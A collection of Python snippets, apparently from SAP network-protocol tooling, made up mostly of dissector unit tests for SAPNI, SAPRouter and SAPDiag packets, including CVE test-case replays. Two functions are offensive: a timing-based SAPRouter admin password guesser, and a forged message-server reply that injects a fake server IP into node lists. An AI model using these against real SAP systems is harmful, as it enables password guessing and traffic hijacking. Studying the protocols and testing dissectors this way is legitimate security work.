def test_sapni_dissection(self): """Test SAPNI length field dissection""" data = pack("!I", len(self.test_string)) + self.test_string sapni = SAPNI(data) sapni.decode_payload_as(Raw) self.assertEqual(sapni.length, len(self.test_string)) self.assertEqual(sapni.payload.load, self.test_string)
def test_sapni_dissection(self): """Test SAPNI length field dissection""" data = pack("!I", len(self.test_string)) + self.test_string sapni = SAPNI(data) sapni.decode_payload_as(Raw) self.assertEqual(sapni.length, len(self.test_string)) self.assertEqual(sapni.payload.load, self.test_string)
def reassemble(self): # Build a stream of packets for each connection streams = {} for key, value in list(self.packets_metadata.items()): value.sort() value = list(value for value, _ in itertools.groupby(value)) streams[key] = '' for pkts in sorted(value): streams[key] += pkts[1] # Parse the NI packets in each stream packets = {} for key, stream in list(streams.items()): packets[key] = [] while stream: length = unpack("!I", stream[:4])[0] packets[key].append(SAPNI(stream[:length + 4])) stream = stream[length + 4:] # Parse the input fields on each packet for key in list(packets.keys()): print("[*] Conversation between %s (%d NI packets)" % ("%s:%s and %s:%s" % tuple(key.split("_")), len(packets[key]))) for packet in packets[key]: self.parse_fields(packet)
def try_password(options, password, output=None, k=0): p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=options.router_version) p.adm_command = 2 p.adm_password = password p = str(SAPNI() / p) import fau_timer fau_timer.init() fau_timer.send_request(options.remote_host, options.remote_port, p, len(p)) fau_timer.calculate_time() cpuSpeed = fau_timer.get_speed() cpuTicks = fau_timer.get_cpu_ticks() time = fau_timer.get_time() if options.verbose: print("Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s nanosec" % (cpuSpeed, cpuTicks, time)) # Write the time to the output file if output: output.write("%i,%s,%s\n" % (k, password, time)) return time
def test_saprouter_route_dissection(self): """Test dissection of a SAP Router route request.""" # Build the Route request packet router_string = [SAPRouterRouteHop(hostname="1.2.3.4", port=1234), SAPRouterRouteHop(hostname="4.3.2.1", port=4321, password="******")] router_string_lens = list(map(len, list(map(str, router_string)))) p = SAPRouter(type=SAPRouter.SAPROUTER_ROUTE, route_entries=len(router_string), route_talk_mode=1, route_rest_nodes=1, route_length=sum(router_string_lens), route_offset=router_string_lens[0], route_string=router_string) pkt = Ether()/IP()/TCP(sport=3299, dport=9999)/SAPNI()/p packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), len(p)) self.assertIn('saprouter', packet) self.assert_fields(p, packet["saprouter"], self.route_mapping) self.assertEqual("Route password found", packet['saprouter']._ws_expert_message)
def test_sapni_building(self): """Test SAPNI length field building""" sapni = SAPNI() / self.test_string (sapni_length, ) = unpack("!I", str(sapni)[:4]) self.assertEqual(sapni_length, len(self.test_string)) self.assertEqual(sapni.payload.load, self.test_string)
def test_sapni_dissection(self): """Test dissection of a basic SAP NI packet. """ pkt = Ether() / IP() / TCP(dport=3299) / SAPNI() / "LALA" packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), 4)
def test_sapni_pong(self): """Test dissection of a basic SAP NI PONG packet. """ pkt = Ether() / IP() / TCP(dport=3299) / SAPNI() / "NI_PONG\x00" packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), 8) self.assertIn('saprouter', packet)
def test_invalid_write(self): """Test invalid write vulnerability in LZC code (CVE-2015-2282)""" test_case = read_data_file('invalid_write_testcase.data', False) pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/test_case packet = self.get_capture(pkt)[0] self.assertIn('sapdiag', packet)
def test_sapdiag_dissection(self): """Test dissection of a basic SAP Diag packet. """ pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/SAPDiag() packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), 8) self.assertIn('sapdiag', packet)
def test_invalid_read(self): "Test invalid read vulnerability in LZH code (CVE-2015-2278)" test_case = read_data_file('invalid_read_testcase.data', False) pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/test_case packet = self.get_capture(pkt)[0] self.assertIn('sapdiag', packet) self.assertEqual(1, int(packet['sapdiag'].header_compression_returncode)) self.assertEqual("The uncompressed payload length (0) differs with the reported length (661)", packet['sapdiag'].header_compression_uncomplength_invalid)
def test_login(self): """Test decompression of a login packet. The result is compared with data obtained from SAP GUI.""" login_compressed = read_data_file('sapgui_730_login_compressed.data') login_decompressed = read_data_file('sapgui_730_login_decompressed.data') pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/login_compressed packet = self.get_capture(pkt)[0] self.assertIn('sapdiag', packet) self.assertEqual(1, int(packet['sapdiag'].header_compression_returncode)) self.assertEqual(len(login_decompressed), int(packet['sapdiag'].header_compression_uncomplength))
def test_saprouter_admin_peer_trace_dissection(self): """Test dissection of a SAP Router admin set/clear peer trace.""" for command in [10, 11]: # Build the Admin packet p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=2, adm_command=command, adm_address_mask="0.0.0.0") pkt = Ether()/IP()/TCP(sport=3299, dport=9999)/SAPNI()/p packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), len(p)) self.assertIn('saprouter', packet) self.assert_fields(p, packet["saprouter"], self.admin_mapping)
def test_saprouter_admin_info_request_dissection(self): """Test dissection of a SAP Router admin info request.""" # Build the Admin packet p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=2, adm_command=2, adm_password="******") pkt = Ether()/IP()/TCP(sport=3299, dport=9999)/SAPNI()/p packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), len(p)) self.assertIn('saprouter', packet) self.assert_fields(p, packet["saprouter"], self.admin_mapping) self.assertEqual("Info password found", packet['saprouter']._ws_expert_message)
def test_saprouter_admin_cancel_trace_route_dissection(self): """Test dissection of a SAP Router admin cancel route and trace route request.""" for command in [6, 12, 13]: # Build the Admin packet p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=2, adm_command=command, adm_client_count=2, adm_client_ids=[1,2]) pkt = Ether()/IP()/TCP(sport=3299, dport=9999)/SAPNI()/p packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), len(p)) self.assertIn('saprouter', packet) self.assert_fields(p, packet["saprouter"], self.admin_mapping)
def test_saprouter_control_dissection(self): """Test dissection of a SAP Router control.""" # Build the Control packet p = SAPRouter(type=SAPRouter.SAPROUTER_CONTROL, version=2, opcode=1, return_code=-99, control_text_length=8, control_text_value="SOMEDATA") pkt = Ether()/IP()/TCP(sport=3299, dport=9999)/SAPNI()/p packet = self.get_capture(pkt)[0] self.assertIn('sapni', packet) self.assertEqual(int(packet['sapni'].length), len(p)) self.assertIn('saprouter', packet) self.assert_fields(p, packet["saprouter"], self.control_mapping)
def ms_adm_nilist(p, whos_asking): print "[+] " + yellow( "Generating AD_GET_NILIST_PORT answer for request with key", bold=True) + " '%s'" % p.key.encode('hex') fromname = str() toname = str() answer = 1 # extract info from key foo, key_t, key_u, key_respid = struct.unpack('!BBHL', p.key) fromname = my_name toname = p.fromname key = p.key flag = 'MS_REPLY' opcode_version = 5 adm_type = 'ADM_REPLY' rec = ' ' * 100 recno = 0 records = None r = SAPMS(toname=toname, fromname=fromname, key=key, domain='ABAP', flag=flag, iflag='MS_SEND_NAME', opcode='MS_DP_ADM', opcode_version=p.opcode_version, opcode_charset=p.opcode_charset, dp_version=p.dp_version, adm_recno=recno, adm_type=adm_type, adm_records=records) ############################### # 745 KERNEL and sometime 742 # ############################### # why "sometime" for 742? # they have both programs, old "RSMONGWY_SEND_NILIST" and new "RGWMON_SEND_NILIST" # they both use dp_version=13, but IP list format expected in the ADM layer is a # bit different between both programs. if p.dp_version == 13: r.adm_recno = 4 if 'RSMONGWY_SEND_NILIST' in whos_asking: r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record( fake_as["ip"]), serial_number=2, executed=answer) ] else: r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record(fake_as["ip"]), serial_number=2, executed=answer) ] r.dp_info1 = SAPDPInfo1( dp_req_len=452, dp_req_prio='MEDIUM', dp_type_from='BY_NAME', dp_fromname=my_name, dp_agent_type_from='DISP', dp_worker_from_num=p.dp_info1.dp_worker_to_num, dp_addr_from_t=p.dp_info1.dp_addr_from_t, dp_addr_from_u=p.dp_info1.dp_addr_from_u, dp_addr_from_m=0, dp_respid_from=p.dp_info1.dp_respid_from, dp_type_to='BY_NAME', dp_toname=p.fromname, dp_agent_type_to='WORKER', dp_worker_type_to='DIA', dp_worker_to_num=p.dp_info1.dp_worker_from_num, dp_addr_to_t=p.dp_info1.dp_addr_from_t, dp_addr_to_u=p.dp_info1.dp_addr_from_u, dp_addr_to_m=p.dp_info1.dp_addr_from_m, dp_respid_to=p.dp_info1.dp_respid_from, dp_req_handler='REQ_HANDLER_ADM_RESP', dp_blob_worker_from_num=p.dp_info1.dp_worker_from_num, dp_blob_addr_from_t=p.dp_info1.dp_addr_from_t, dp_blob_addr_from_u=p.dp_info1.dp_addr_from_u, dp_blob_respid_from=p.dp_info1.dp_blob_respid_from, dp_blob_dst=(' ' * 35).encode('UTF-16-BE')) ############## # 720 KERNEL # ############## # Here we use old IP list format # and a much simpler DP layer if p.dp_version == 11: r.adm_recno = 4 r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record(fake_as["ip"]), serial_number=2, executed=answer) ] r.dp_info2 = SAPDPInfo2(dp_req_prio='MEDIUM', dp_blob_14=p.dp_info2.dp_blob_14, dp_name_to=p.fromname, dp_addr_from_t=255, dp_blob_09='\xff\xcc', dp_blob_10='\x01\x00', dp_addr_from_u=0, dp_addr_from_m=0, dp_addr_to_t=key_t, dp_addr_to_u=key_u, dp_addr_to_m=0, dp_respid_to=key_respid, dp_blob_19=1, dp_blob_21=105) ############## # 749 KERNEL # ############## # That's use on latest kernel like S4HANA servers if p.dp_version == 14: r.adm_recno = 4 r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record(fake_as["ip"]), serial_number=2, executed=answer) ] r.dp_info3 = SAPDPInfo3(dp_req_len=348, dp_req_prio='MEDIUM', dp_type_from='BY_NAME', dp_fromname=my_name, dp_agent_type_from='DISP', dp_worker_from_num=p.dp_info3.dp_worker_to_num, dp_addr_from_t=p.dp_info3.dp_addr_from_t, dp_addr_from_u=p.dp_info3.dp_addr_from_u, dp_addr_from_m=0, dp_respid_from=p.dp_info3.dp_respid_from, dp_type_to='BY_NAME', dp_toname=p.fromname, dp_agent_type_to='WORKER', dp_worker_type_to='DIA', dp_worker_to_num=p.dp_info3.dp_worker_from_num, dp_addr_to_t=p.dp_info3.dp_addr_from_t, dp_addr_to_u=p.dp_info3.dp_addr_from_u, dp_respid_to=p.dp_info3.dp_respid_from, dp_padd25=1, dp_req_handler='REQ_HANDLER_ADM_RESP', dp_padd29=p.dp_info3.dp_padd29, dp_padd30=p.dp_info3.dp_padd30, dp_padd31=p.dp_info3.dp_padd31, dp_padd32=p.dp_info3.dp_padd32) open("/tmp/dp.bin", "wb").write(str(SAPNI() / r)) return r